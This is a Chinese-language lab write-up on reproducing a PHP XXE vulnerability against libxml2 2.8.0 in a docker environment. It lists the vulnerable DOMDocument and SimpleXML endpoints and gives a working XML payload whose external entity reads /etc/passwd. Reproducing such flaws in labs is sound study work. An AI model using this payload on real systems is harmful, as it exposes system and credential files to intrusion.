2025年3月31日 星期一 乙巳(蛇)年 正月初一 设为首页 加入收藏
rss
您当前的位置:首页 > 计算机 > 安全防护

PHP XXE漏洞

时间:10-11来源:作者:点击数:30

影响版本

libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。

libxml:Libxml是一个实现读、创建及操纵XML数据功能的C语言库。

漏洞复现

使用如下命令编译并启动环境:

  • docker-compose up -d

环境启动后,访问http://your-ip:8080/index.php即可看到phpinfo,搜索libxml即可看到其版本为2.8.0。

Web目录再WWW文件中:

dom.php 使用DOMDocument解析body

index.php 展示phpinfo作为首页

SimpleXMLElement.php 使用SimpleXMLElement类解析body

simplexml_load_string.php 使用simplexml_load_string函数解析body

dom.phpSimpleXMLElement.phpsimplexml_load_string.php均可触发XXE漏洞

访问首页:libxml版本是2.8.0,可以尝试XXE漏洞

测试Dom.php进行触发XXE漏洞:

  • Payload:
  • <?xml version="1.0" encoding="utf-8"?>
  • <!DOCTYPE xxe [
  • <!ELEMENT name ANY >
  • <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  • <root>
  • <name>&xxe;</name>
  • </root>

读取 /etc/passwd

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门